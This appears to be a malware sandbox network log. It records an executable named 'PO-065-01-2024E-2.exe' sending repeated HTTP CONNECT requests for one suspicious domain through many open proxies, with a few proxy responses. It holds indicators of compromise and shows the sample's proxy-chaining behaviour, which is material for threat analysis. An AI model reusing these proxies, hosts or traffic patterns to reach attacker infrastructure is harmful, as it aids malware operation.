800	192.168.2.10	51787	20.80.103.193	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.385041952 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.473551035 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.482281923 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:59.489249945 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:11.582587957 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:23.678082943 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:35.785635948 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:59.785610914 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
801	192.168.2.10	52481	14.103.26.53	8000	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.391313076 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
802	192.168.2.10	52487	45.65.65.18	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.393109083 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
803	192.168.2.10	52547	31.223.184.143	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.395837069 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:21.482815981 CET	113	IN	HTTP/1.1 503 Service Temporarily Unavailable Content-Type: text/html Connection: close Data Raw: 42 61 63 6b 65 6e 64 20 6e 6f 74 20 61 76 61 69 6c 61 62 6c 65 Data Ascii: Backend not available

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
804	192.168.2.10	52492	196.20.125.145	8083	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.403285980 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
805	192.168.2.10	52578	45.61.188.134	44499	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.409748077 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
806	192.168.2.10	52478	156.67.217.159	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.411955118 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.164207935 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.495307922 CET	327	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Mar 2024 15:39:48 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
807	192.168.2.10	52483	45.138.87.238	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.419601917 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
808	192.168.2.10	52019	192.111.137.35	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.420684099 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
809	192.168.2.10	52549	18.169.83.87	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.423242092 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.713457108 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:39:47 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
810	192.168.2.10	50243	37.120.189.106	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.425450087 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.598301888 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.598788023 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:59.598499060 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:11.668611050 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:23.801347017 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:35.801243067 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:59.801224947 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:47.973052979 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
811	192.168.2.10	52591	45.60.186.208	27488	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.426675081 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
812	192.168.2.10	52558	5.61.33.234	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.465392113 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
813	192.168.2.10	52473	31.148.207.153	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.467616081 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
814	192.168.2.10	52583	190.14.225.15	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.471406937 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.164156914 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.961894989 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.598634958 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.909661055 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.208075047 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:00.382303953 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:06.801547050 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:19.598175049 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
815	192.168.2.10	52569	98.170.57.231	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.474858046 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
816	192.168.2.10	52511	61.178.152.31	7302	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.474967003 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.844973087 CET	90	IN	HTTP/1.1 200 OK Content-Type: application/json Connection: close Content-Length: 55

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
817	192.168.2.10	50251	45.11.95.165	5034	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.478411913 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
818	192.168.2.10	52600	107.173.255.183	1234	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.492818117 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
819	192.168.2.10	52522	183.215.23.242	9091	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.495202065 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.877279997 CET	325	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.1 Date: Mon, 11 Mar 2024 15:39:49 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
820	192.168.2.10	51736	185.22.8.70	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.497612953 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
821	192.168.2.10	51714	176.197.144.158	4153	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.507500887 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
822	192.168.2.10	52596	58.75.126.235	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.511245012 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
823	192.168.2.10	52532	222.220.102.159	8000	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.515858889 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.205550909 CET	59	IN	HTTP/1.1 200 Connection Established Proxy-agent: nginx

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
824	192.168.2.10	50410	198.12.255.193	6821	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.515858889 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.598421097 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.598790884 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:59.598505974 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:11.668617964 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:23.801310062 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:35.801268101 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:59.801261902 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
825	192.168.2.10	52633	104.25.231.184	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
